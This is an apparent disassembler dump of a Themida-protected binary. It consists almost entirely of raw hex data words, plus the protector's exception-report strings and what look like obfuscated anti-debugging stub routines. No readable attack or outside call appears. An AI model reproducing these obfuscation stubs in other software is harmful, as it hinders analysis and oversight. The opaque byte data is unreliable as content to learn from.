0BD8905E2h dd 5E2044Dh, 416CE781h, 858B591Fh, 5E22B19h, 0CE9h, 0E8BA0E00h dd 3E3EB4B7h, 0B352D000h, 577E9E1h, 0B70F0000h, 0E1B58DFEh dd 5205E4FEh, 7BEC31B9h, 9589595Fh, 5E21E49h, 0ACE6858Dh dd 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 6FDAB3C3h, 1869D6C3h, 93BA66ECh, 6AD0FFA1h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 86EDC357h, 0ED4646A1h, 1506813h, 0E207258Dh dd 8EB15F05h, 95FF006Ah, 5E20405h, 11E9h, 700F1400h, 899DCD94h dd 0ECB47DDAh, 6F69B703h, 0F38B9D58h, 8DC9BF0Fh, 0E4ACE685h dd 0CB8B6605h, 18519533h, 0D0FF05E2h, 21A1BD0Bh, 6A05E2h dd 8259D09h, 95FF05E2h, 5E20405h, 0D7E8EA81h, 0C08B603Dh dd 0D8C78166h, 0D781663Fh, 0BD83BDD5h, 5E21EA9h, 83097500h dd 0E21805BDh, 19740005h, 0C08B5350h, 7D9B8h, 5D858900h dd 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h, 5E218h dd 53501774h, 7D9B8h, 5D858900h, 8D05E231h, 0E4AFE99Dh dd 5BD3FF05h, 0E9816658h, 6AB693h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 66B45C3h, 20BEF1D1h dd 1F2494Ch, 0E218199Dh, 0FC08B05h, 681h, 0C98D8900h, 8B05E223h dd 6A50D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 705EDAC3h, 0FFBFD88Bh, 53424965h, 31DD9D8Dh dd 38B05E2h, 438B0389h, 50438950h, 6C59D8Dh, 38B05E5h dd 8B5B0389h, 0E20E39BDh, 0C8B70F05h, 0C23611B9h, 8B006A7Bh dd 0E2221595h, 0C5858D05h, 8B05E506h, 0E21DDD8Dh, 958B5005h dd 5E21681h, 0D180606Ah, 0DD858D23h, 8B05E231h, 0E222FD95h dd 11E85005h, 0FE000000h, 16D5AAACh, 84BA326Dh, 0BFA2BDE1h dd 33C453DAh, 10E9h, 591C7A00h, 465A9148h, 0B59C1D89h dd 6CE8597Ch, 0EA815905h, 65ADF9B6h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 9FE34BC3h dd 0B551006Ah, 685AEBh, 66000018h, 6053CA8Bh, 60D2EE80h dd 0A29BD89h, 5BBF05E2h, 61787D91h, 0E595FF61h, 8105E223h dd 0EABD79E1h, 69BD8B14h, 0FF05E20Eh, 0E20A5995h, 0E5B58905h dd 0FF05E214h, 0E5072CB5h, 0D68B6605h, 0B1595FFh, 6A05E2h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0DD4009C3h, 8D71AB77h, 0E231DD85h, 95895605h, 5E2003Dh dd 18408B5Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0D6C35040h, 85C7640Ah, 5E21A7Dh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9EC35545h dd 7E8EA6Dh, 1C000000h, 0FED4B221h, 8D0BAB04h, 5E20C3Dh dd 0BD83F85Ah, 5E22655h, 43840F00h, 29000000h, 0E21CD58Dh dd 8C3D05h, 830F0000h, 17Ch, 65F18166h, 37E926h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0EA601BC3h, 795E35B8h, 16AD9589h, 963D05E2h, 0F000000h dd 13F83h, 0D9BF6600h, 9F858DD3h, 89005AF5h, 0E2197185h dd 89D0FF05h, 0E22A758Dh, 0F2858D05h, 0FF005AEFh, 56006AD0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0EA890D1Ah, 3F8A8A07h, 9FB973E4h, 8B1BACBAh, 0BD83FCC0h dd 5E21EA9h, 83097500h, 0E21805BDh, 19740005h, 0C08B5350h dd 0BC6B8h, 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h dd 5BD8358h, 5E218h, 53501774h, 0BC6B8h, 5D858900h, 8D05E231h dd 0E4AFE99Dh, 5BD3FF05h, 9DB58958h, 8905E209h, 0E22CB185h dd 89C08B05h, 0E2221D8Dh, 0FFF88305h, 26850Fh, 0B70F0000h dd 6585C7FAh, 5E222h, 23000000h, 0E2119D95h, 101E905h dd 9D890000h, 5E21185h, 51E9h, 0FFBF0F00h, 0F01F883h, 4585h dd 10E800h, 0E0840000h, 78EB894Ch, 4D4D8775h, 7F6C7A8Bh dd 958B350Fh, 5E22F8Dh, 117E95Ah, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 59E917C3h dd 0BBC302D3h, 8AE93D97h, 0E9FFFFF1h, 0Ch, 0B0133577h dd 61CC6673h, 0F239826Bh, 0B70FC08Bh, 7E9F8h, 0CF040000h dd 0D4011236h, 0A9BD83C7h, 5E21Eh, 0BD830975h, 5E21805h dd 50197400h, 0B8C08B53h, 7DDh, 315D8589h, 9D8D05E2h, 5E4B2FAh dd 585BD3FFh, 1805BD83h, 740005E2h, 0B8535017h, 7DDh, 315D8589h dd 9D8D05E2h, 5E4AFE9h, 585BD3FFh, 4D1B589h, 0D78B05E2h dd 0BF0FC08Bh, 250E9D7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 24E06CC3h, 8DEFC728h dd 0E504C985h, 8589F805h, 5E506C1h, 10E9h, 5C539200h, 82608308h dd 0D39824D0h, 178EFCD3h, 56E949h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 71F254C3h dd 0A09748AFh, 0CE0434BAh, 0D1858D14h, 2905E502h, 0E221499Dh dd 0FE94005h, 65000000h, 0B6A26A4Bh, 13CB1D1Eh, 871434CEh dd 858952F2h, 5E506C1h, 0F9953353h, 5905E221h, 858D346Ah dd 5E21AB9h, 0C1B5FF50h, 6A05E506h, 6D95FF00h, 8305E22Ah dd 840F07F8h, 162h, 0F6DB8C66h, 850F04C3h, 0FCh, 0A4985C6h dd 685605E2h, 9CA8B852h, 262DB5FFh, 858D05E2h, 5E239EDh dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 0E5073485h dd 4985C605h, 4705E20Ah, 18AC9B68h, 2DB5FFECh, 8D05E226h dd 0E239ED85h, 0FFD0FF05h, 0C6F08BD0h, 0E20A4985h, 61684F05h dd 0FFC62F26h, 0E21189B5h, 0ED858D05h, 0FF05E239h, 309D8DD0h dd 5305E507h, 0FF56286Ah, 75C085D0h, 4985C600h, 4105E20Ah dd 87649868h, 89B5FFDBh, 8D05E211h, 0E239ED85h, 89D0FF05h dd 0E5074D85h, 4985C605h, 4C05E20Ah, 0A4E7A468h, 89B5FF80h dd 8D05E211h, 0E239ED85h, 8BD0FF05h, 0E507349Dh, 45B8D05h dd 399D8D53h, 5305E507h, 0D0FF006Ah, 7349D8Bh, 3C705E5h dd 1, 20C43C7h, 0C7000000h, 0E21A5D85h, 5, 6A006A00h, 8B006A00h dd 0E507349Dh, 6A5305h, 730B5FFh, 95FF05E5h, 5E5074Dh dd 0A4985C6h, 684505E2h, 92A5F797h, 150DB5FFh, 858D05E2h dd 5E239EDh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h dd 7349D8Bh, 43C705E5h, 0Ch, 6A006A00h, 349D8B00h, 5305E507h dd 0B5FF006Ah, 5E50730h, 74D95FFh, 0B5FF05E5h, 5E50730h dd 0A5995FFh, 6A05E2h, 40595FFh, 6A05E2h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 492EE3C3h dd 982B1E5Ch, 9FF6CF81h, 858D32D8h, 5E53C0Ch, 8BFB8B66h dd 0E22F8D95h, 0B70F5005h, 35FF64CFh, 0 dd 2F8D8589h, 896405E2h, 25h, 719D8900h, 8305E210h, 0E21CA1BDh dd 840F0005h, 50h, 0BD83CE8Bh, 5E200B9h, 41850F01h, 66000000h dd 806CA2BAh, 0E50B4DBDh, 850F0005h, 30h, 0D0B70F53h, 194E95Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0C985FCC3h, 8D8B53CAh, 5E207ADh, 8A50DB33h dd 0C0335FEBh, 0EE8h, 667C2C00h, 953ECDC7h, 0E5C521D9h dd 0E9B9001Dh, 14h, 2595528Ah, 7B92ED3h, 3E27E353h, 0F4CF924Fh dd 982A6629h, 3F0F4059h, 8F640B07h, 5, 4C48300h, 68E0Fh dd 0BD890000h, 5E21D79h, 0FF9958Bh, 0FB8305E2h, 15840FFFh dd 0F000000h, 0FDE9FBB7h, 0E9000000h, 8, 74F952E6h, 635E5F90h dd 7BE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 3659468h, 0E20BA995h, 23C18105h db 0, 0C0h, 40h byte_5218C3 db 8Bh ; DATA XREF: Themida_:004EE414o ; Themida_:004EFA30o ... dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 5E53C2Eh, 0B8838Bh dd 858D0000h, 5E53CD7h, 0B88389h, 335D0000h, 8D0FC3C0h dd 6, 2529952Bh, 0BD8B05E2h, 5E23039h, 3C24858Dh, 0BD8905E5h dd 5E22279h, 0FD8D0B50h, 8B05E20Ah, 0E20C25BDh, 35FF6405h dd 0 dd 5860Fh, 0D9BF0000h, 0E9501641h, 0Bh, 0B7531B71h, 0A7B6DD39h dd 642E1F48h, 2589h, 95890000h, 5E219E9h, 0AB9h, 0D704B800h dd 64054855h, 0BB0DF781h, 8685D465h, 34B640BAh, 0E8EA8100h dd 0ED00345Fh, 5868FB81h, 0A75564Dh, 13C585C7h, 105E2h dd 8F640000h, 5, 4C48300h, 1C0DBD8Bh, 0D78B05E2h, 0C08B74B2h dd 8354E680h, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h dd 8B535019h, 43DB8C0h, 85890000h, 5E21DD5h, 0B3619D8Dh dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h, 43DB853h dd 85890000h, 5E21DD5h, 0B0029D8Dh, 0D3FF05E4h, 0FE9585Bh dd 54000000h, 96CC4D74h, 8AF858E4h, 175B0605h, 6AD98Ch dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0FE796FC3h, 43212FD7h, 4399D89h, 9D8905E2h, 5E217BDh dd 3AE9C08Bh, 4000001h, 31000000h, 3535382Eh, 7 dup(0) dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 85BD8300h dd 5E206h, 12D840Fh, 858D0000h, 5E4AE19h, 83858D50h, 5005E4ADh dd 168h, 2995FF80h, 8D05E4AEh, 0E53D8485h, 858D5005h, 5E53D8Eh dd 6A006A50h, 97858D00h, 5005E4ADh, 0AE19B5FFh, 95FF05E4h dd 5E20469h, 3D84858Dh, 8D5005E5h, 0E53D9285h, 6A5005h dd 858D006Ah, 5E4ADA9h, 19B5FF50h, 0FF05E4AEh, 0E2046995h dd 84858D05h, 5005E53Dh, 3D9E858Dh, 6A5005E5h, 8D006A00h dd 0E4ADF685h, 0B5FF5005h, 5E4AE19h, 46995FFh, 858D05E2h dd 5E53D84h, 0A6858D50h, 5005E53Dh, 6A006Ah, 0AE14858Dh dd 0FF5005E4h, 0E4AE19B5h, 6995FF05h, 8D05E204h, 0E53D8485h dd 858D5005h, 5E53DA2h, 6A006A50h, 0FD858D00h, 5005E4ADh dd 0AE19B5FFh, 95FF05E4h, 5E20469h, 3D84858Dh, 8D5005E5h dd 0E53D9685h, 6A5005h, 858D006Ah, 5E4AE05h, 19B5FF50h dd 0FF05E4AEh, 0E2046995h, 84858D05h, 5005E53Dh, 3D9A858Dh dd 6A5005E5h, 8D006A00h, 0E4AE0C85h, 0B5FF5005h, 5E4AE19h dd 46995FFh, 0B5FF05E2h, 5E4AE19h, 0BFD95FFh, 0A2E905E2h dd 83000000h, 0E22D71BDh, 840F0005h, 95h, 0B9BD83h, 0F0005E2h dd 1185h, 4D958B00h, 8105E223h, 1CF8C2h, 0FE900h, 958D0000h dd 5E231DDh, 8134528Bh, 0D4C340C2h, 2D95893Bh, 8305E219h dd 0E2192DBDh, 840F0005h, 55h, 192D9D8Bh, 0C38305E2h, 89038B4Ch dd 0E53D8E85h, 2D9D8B05h, 8305E219h, 38B50C3h, 3D928589h dd 9D8B05E5h, 5E2192Dh, 8B54C383h, 9E858903h, 8B05E53Dh dd 0E2192D9Dh, 58C38305h, 8589038Bh, 5E53DA2h, 192D9D8Bh dd 0C38305E2h, 89038B5Ch, 0E53D9685h, 85BD8305h, 5E206h dd 0D850Fh, 0BD830000h, 5E22D71h, 68840F00h, 0FF000000h dd 0E53DA6B5h, 9AB5FF05h, 0FF05E53Dh, 0E53D96B5h, 0A2B5FF05h dd 0FF05E53Dh, 0E53D9EB5h, 92B5FF05h, 0FF05E53Dh, 0E53D8EB5h dd 88858D05h, 5005E53Dh, 3DC0858Dh, 8D5005E5h, 0E22D8D85h dd 95FF5005h, 5E22C29h, 6A24C483h, 0AA858D40h, 5005E53Dh dd 2D8D858Dh, 6A5005E2h, 6D95FF00h, 6A05E22Ah, 595FF01h dd 8B05E204h, 1718EBC1h, 9B46F3h, 4 dup(0) dd 0E9000000h, 20Bh aLS db '`‹\$$è',0 ; DATA XREF: Themida_:004EF118o align 4 dd 815D0000h, 0E54147EDh, 4C26105h, 0FFE6E900h db 2 dup(0FFh) aA_2 db '`aÂ',8,0 ; DATA XREF: Themida_:004EE7F8o db 0E9h dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 6160FFFFh, 0E90008C2h dd 0FFFFFFF6h, 8C26160h, 0FFF6E900h, 0FFFFh, 0 dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 5E5417Fh, 0F000E681h dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 5E54183h dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h dd 0C00A0324h, 19840Fh, 53500000h, 2BBh, 2D858B00h, 8605E219h dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h dd 74FF50FFh, 95FF0824h, 5E21461h, 4C010F50h, 8358FE24h dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h dd 0FC00A03h, 984h, 2D858B00h, 0C605E219h, 0FF580000h dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h dd 38840Fh, 2BB0000h, 8B000000h, 0E2192D85h, 0A188605h dd 0F6850FDBh, 0C7FFFFFFh, 0E215C985h, 5, 24448B00h, 988B08h dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 5E215C9h dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h, 0C302C88Ah dd 0CBD1C332h, 0FD20BAAh, 184h, 0C90A4A00h, 0FFE5850Fh dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h, 0FD20BFFh, 0FFFFDF85h dd 66C361FFh, 4A8D88Ch, 29840Fh, 85C70000h, 5E54124h, 1 dd 4C010F50h, 858FFE24h, 5E54128h, 4120858Dh, 0BD8D05E5h dd 5E54128h, 23E93889h, 8D000000h, 0E231DD85h, 38408B05h dd 46F31705h, 2085899Bh, 8D05E541h, 0E231DD85h, 3C408B05h dd 41248589h, 858D05E5h, 5E5413Dh, 14618589h, 87E905E2h dd 52000000h, 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h dd 0 dd 0D1063006h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh db 0C2h, 8, 0 byte_52208F db 52h ; DATA XREF: Themida_:004EFA6Co dd 8B60D48Bh, 7A8B0872h, 0CAB2B80Ch, 7E9A945h, 30000000h dd 0D1062806h, 0F73B46C8h, 0FFF1820Fh, 5A61FFFFh, 520008C2h dd 5156D48Bh, 8BDB3353h, 4A8B0872h, 13E90Ch, 3CAC0000h dd 0A840F2Dh, 4000000h, 32133498h, 8C3C1D8h, 0FC90B49h dd 0FFFFE585h, 5BC38BFFh, 0C25A5E59h, 858D0008h, 5E543B0h dd 1A898589h, 858D05E2h, 5E543D8h, 1DB58589h, 858D05E2h dd 5E54400h, 0CE98589h, 806005E2h, 0C08B85DEh, 0FB8B6660h dd 5870Fh, 5CB80000h, 6132968Fh, 1EA9BD83h, 750005E2h dd 5BD8309h, 5E218h, 53501974h, 0EB8C08Bh, 89000004h, 0E2315D85h dd 0FA9D8D05h, 0FF05E4B2h, 83585BD3h, 0E21805BDh, 17740005h dd 0EB85350h, 89000004h, 0E2315D85h, 0E99D8D05h, 0FF05E4AFh dd 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0D514C356h, 6AF82E50h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 5118C352h, 665D00E1h, 6AC08B06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 62FAC353h dd 0DB7313BEh, 0FD74A33h, 88h, 0A1BD8300h, 5E21Ch, 45840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 323DFBC3h, 63B2036Ah, 230E9h, 0FE900h, 93C30000h dd 1C7A9B34h, 5A914859h, 9C1D8946h, 0BF0F60B5h, 0DE87B8F9h dd 8C617ED2h, 12E8FCDFh, 61000000h, 0AF052D4Ah, 6FF67C1Ch dd 48294E6Fh, 0B11364C1h, 0CFB70F47h, 0C7F7665Ah, 850F0004h dd 1E9h, 68D0Fh, 0C6810000h, 56BB5B7Eh, 0BFh, 0A5F28000h dd 471E9D8Dh, 6A05E5h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 48B8A7C3h, 0EE806006h, 11E975h dd 0E78E0000h, 7A322D39h, 71B1352Dh, 0FEE127ACh, 9356EB8Fh dd 6650D68Bh, 8A93D78Bh, 35FF64D0h, 0 dd 0D8D0Fh, 0E8510000h, 5, 7A594E5Fh, 64595E02h, 2589h dd 5CBE0000h, 8B127823h, 50006AC4h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0E7046A9Dh, 0EB01CD9Fh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0BE66D739h, 6AF7AEh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 30B172C3h dd 0F56F0FFh, 48Fh, 0C9B96600h, 0B10BE72h, 13E94B5Dh, 3D000000h dd 0EB5558F7h, 4532C604h, 0B535C986h, 1D3E859Bh, 8F6467ABh dd 5, 0CBB70F00h, 0BA04C483h, 679CA187h, 840FC00Bh, 0BDh dd 18E0Fh, 61F80000h, 4B56D681h, 0BD8D3520h, 5E27219h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6EC35747h dd 0B5943815h, 116971E4h, 1B85Fh, 0E7FF0000h, 8E9h, 0A79F0000h dd 991A332Bh, 5C8B5787h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh dd 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E979C357h dd 80E4CC7Bh, 0BF0FE0D9h, 0D78B60F1h, 94C7BE66h, 1A8F0F61h dd 0F000000h, 1489h, 0FE900h, 88B10000h, 0BC056811h, 0E1221411h dd 8BA33EB3h, 0BA666180h, 0C08BD1A7h, 0BD83CA8Bh, 5E21EA9h dd 83097500h, 0E21805BDh, 19740005h, 0C08B5350h, 40EB8h dd 0D5858900h, 8D05E21Dh, 0E4B3619Dh, 5BD3FF05h, 5BD8358h dd 5E218h, 53501774h, 40EB8h, 0D5858900h, 8D05E21Dh, 0E4B0029Dh dd 5BD3FF05h, 0C9B70F58h, 8E9h, 71ACFB00h, 20DBA241h, 55006A83h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0C6818037h, 75E65F77h, 850FC08Bh, 6, 5928EE81h, 0C28B1130h dd 10E8h, 33310600h, 8FF29238h, 0C130933Fh, 0BA8B0DBCh dd 5B1DB6C3h, 0CE8h, 30D0CE00h, 0F9CE3EC4h, 109E35F8h dd 14E996h, 0E6AF0000h, 0CC923AB6h, 3F3071EDh, 0A6A830Ah dd 0BFC366C0h, 815E05F5h, 5BD2C3h, 0D2816600h, 68C3A4h dd 59000000h, 660B048Bh, 0F081D18Bh, 19A688BDh, 15C7BF66h dd 0A7F7C081h, 8E0F683Eh, 2, 0F08117B2h, 77266D8h, 0EAA4BA66h dd 660B0489h, 4A08E781h, 0CE8h, 0FF579C00h, 0E594E8D1h dd 99C3E836h, 0DF8166BEh, 835F969Bh, 0B70F04E9h, 0D4F981F1h dd 0FFFFFA4h, 0FFFFA785h, 0EBF08AFFh, 8, 0 dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0B9858B24h dd 8D05E200h, 0E5933285h, 8B088B05h, 100088h, 660A8B00h dd 89FC4A8Bh, 0E548DA8Dh, 55BD8305h, 5E226h, 0F840Fh, 6A600000h dd 0B995FF00h, 6105E20Ah, 0FFFFC4E9h, 728966FFh, 10CEC1FCh dd 2728966h, 5A04CD52h, 48D68589h, 0B58B05E5h, 5E548DAh dd 6610CEC1h, 8B027289h, 0E548DAB5h, 72896605h, 858B61FCh dd 5E548D6h, 0C5958DC3h, 8905E211h, 0E2192D95h, 35958905h dd 0FF05E21Fh, 0E21F3585h, 4985C605h, 5305E20Ah, 0B148D868h dd 2DB5FFFCh, 8D05E226h, 0E239ED85h, 89D0FF05h, 0E20AB985h dd 57858D05h, 8905E541h, 0E20B4185h, 0E900EB05h, 5C4h dd 5B8E9h, 4A8F6800h, 5CE905E5h, 68FFFD36h, 5E54BB7h, 0FD3652E9h dd 4C4468FFh, 48E905E5h, 68FFFD36h, 5E54D09h, 0FD363EE9h dd 4E0F68FFh, 34E905E5h, 8EFFFD36h, 0E3464C48h, 562BB7F3h dd 0B1F01EA2h, 0E75A4046h, 9522A8F6h, 662CD1EEh, 0CCD20978h dd 357963C6h, 991FD8A9h, 9730717Dh, 0F9FDF0A6h, 88F4367Fh dd 0FC18B9FBh, 18B92E2Fh, 0B9A6DAFCh, 0FF74FC18h, 2BFC18B9h dd 0FC18B917h, 18B9AEC3h, 0DA1D5C7Ch, 0D10649DCh, 744D9ECBh dd 0A7A831EFh, 7E7C18B9h, 1255D401h, 1441A4E8h, 0B983B415h dd 0E5527C18h, 42FC5DC4h, 0B681FAD9h, 2F064C21h, 0EEFF7454h dd 1D5CC3B8h, 1B380FDFh, 9D73E207h, 15C7BA20h, 36555983h dd 0C43D4885h, 53F46B5Fh, 84188B2Fh, 2FEC0966h, 3A7E7D37h dd 432046Fh, 0F7E10000h, 0A25217B3h, 5189F8E6h, 0F5E0414Dh dd 0A5562BB7h, 9D44F31Fh, 0C9D5DB00h, 97338178h, 7E6428D2h dd 0C2C8CE0Bh, 1546E302h, 0CCF9FDF3h, 696E8541h, 0B2EFB329h dd 0B9700E6Bh, 352FFC18h, 8604F541h, 36B02918h, 3A223465h dd 0A8EEEBD5h, 7CE70673h, 4B0A3D7Bh, 980E0F8Bh, 9E8CA35Eh dd 5C87AE3Fh, 488B129Eh, 7FFC0F8Dh, 0BFCED208h, 6FD1A507h dd 69D5A10Bh, 0E6AC2A70h, 3A04582Bh, 37D80h, 696EBA00h dd 0C37FD823h, 0E8FC18B9h, 9F58A69Eh, 0B0F1FD19h, 18B92617h dd 3973E4FCh, 0C8CC08DFh, 1B3A784Fh, 9CEF44C2h, 0EA11A755h dd 0DF1441A4h, 0DCF8E33h, 0C0393881h, 0CE56A3FAh, 0C649F8E6h dd 185EF061h, 174A21FCh, 0B40DBDFh, 4C4A8FB2h, 0C6377639h dd 7960EFF8h, 73CAF2Bh, 0F5FC185Eh, 5E64D572h, 0C6BDFC18h dd 317F7AE5h, 5C701DEAh, 4C0DAA2Dh, 9EFC185Eh, 185E3839h dd 0F492E9FCh, 46E32EBFh, 1FA5EF8h, 849EE13h, 0C2F9FA5Eh dd 0FA5EF465h, 0C8562DF9h, 74F90673h, 37045EEAh, 30AF352h dd 1FD90000h, 0CA0A7F9Bh, 7961C0CEh, 1DD8A935h, 0CD0E739Fh dd 0C5ACDBC7h, 11BD03F8h, 0FF1BA950h, 464C508Ah, 2AB0F6E3h dd 0FD7EDB2Ah, 14F9FDF2h, 696EAD69h, 6099D823h, 5980C35Ah dd 8A119541h, 5D8E1441h, 0FC18B9E0h, 18C93F34h, 0C0CE0DFCh dd 0D7DD1E41h, 9FA607B4h, 18A9BDB2h, 7054F9FCh, 0CD0F4EF1h dd 5EFBBAC1h, 0FC18A91Dh, 0B9027F34h, 0FACFC250h, 0E5145501h dd 1CD34CDFh, 0ACE4339Ah, 0A0CD3A77h, 45F4A27h, 7D147F0Ah dd 2A000002h, 9FE2E8ACh, 0F2B75357h, 2D1CBA06h, 83E6ECAAh dd 314E545Ah, 2904D52h, 6836A584h, 0D1DD1F62h, 5837435h dd 0BACD599h, 0F9FDF54Ah, 0AE509A9Bh, 0FB82A839h, 0ECFD6E7Ah dd 0B83C7465h, 0C18087FCh, 2E35961Ch, 117432A7h, 5602CAEh dd 289F1DDAh, 369FEEB2h, 0BAF84034h, 1F64430h, 0BC111FBBh dd 133A0488h, 1E2h, 632FADECh, 3BAD318h, 14921815h, 88CEBC0Dh dd 0FC18B9FBh, 38F13C9h, 95F0BC3Eh, 8DCE6BEAh, 44FC18B9h dd 6993DEEFh, 0AACC625h, 820ECC3Ah, 13C31E04h, 51683A04h dd 52000000h, 4BE239AEh, 9835A45h, 765AC7B0h, 811056F3h dd 3C0B01FAh, 5F4D62F7h, 31107504h, 1B8h, 0A9357167h, 72981CD8h dd 0DBC7CB0Fh, 0AD296F66h, 75911FDCh, 558617FEh, 0FBFE434Fh dd 0A25829B5h, 48B1F01Eh, 69984442h, 0FDF48FC0h, 1FDF46F9h dd 0F0F20B8h, 2FA78942h, 4FB63E6Bh, 18E161EAh, 0B0CBA0FCh dd 0DBC7CB31h, 0D02B7166h, 0D0577DE7h, 0E1470851h, 0A19EFC18h dd 0BCFF0218h, 0E857703Ch, 4120AEF2h, 2C6F1298h, 720D30A8h dd 3FC5580Eh, 1352F9C2h, 4D3CDAE8h, 73F8038Fh, 0A6973071h dd 7FFC18D7h, 0A2880100h, 0FA33A11Eh, 3DA4CF18h, 0E2D5F1BDh dd 8E315478h, 0F58464Ah, 0FC189072h, 2DC11780h, 80F0DF8Eh dd 0EDC14E27h, 9149DD7Ah, 8BE001FAh, 0AF21D594h, 0FAE0490Ah dd 76A398F9h, 464AB0F3h, 8373B627h, 5677E407h, 8105F1B0h dd 0BD01FB7Ah, 0AEF4E76Eh, 12E4145Fh, 0FAE084B5h, 0A9E65DF9h dd 0F750D352h, 0F9FAE046h, 2E07A09Fh, 0BD1A0D21h, 418BD45h dd 41AAD7ACh, 8FE7D4Ch, 0B2127Dh, 77610000h, 22D29733h dd 0D1097866h, 7560C1CDh, 25D6AB37h, 1DC4739Fh, 49555B80h dd 17B301F8h, 0FEE4A852h, 42484E8Bh, 95C66382h, 4CF9FDF7h dd 696E05C1h, 6099D823h, 0CEB3C35Ah, 0B969EA4Fh, 0C3B8FC18h dd 368470FAh, 0C544FBC1h, 18B9F364h, 745522FCh, 1335E896h dd 0D9983A04h, 0CF0C9F23h, 1CB1FEh, 88B50000h, 0FC18B9FAh dd 0F8B11C6h, 26DAh, 0DD185B00h, 8A82BEDFh, 0F9643A9Dh dd 0FB881AE0h, 9FC18B9h, 0B9302186h, 8AE1FC18h, 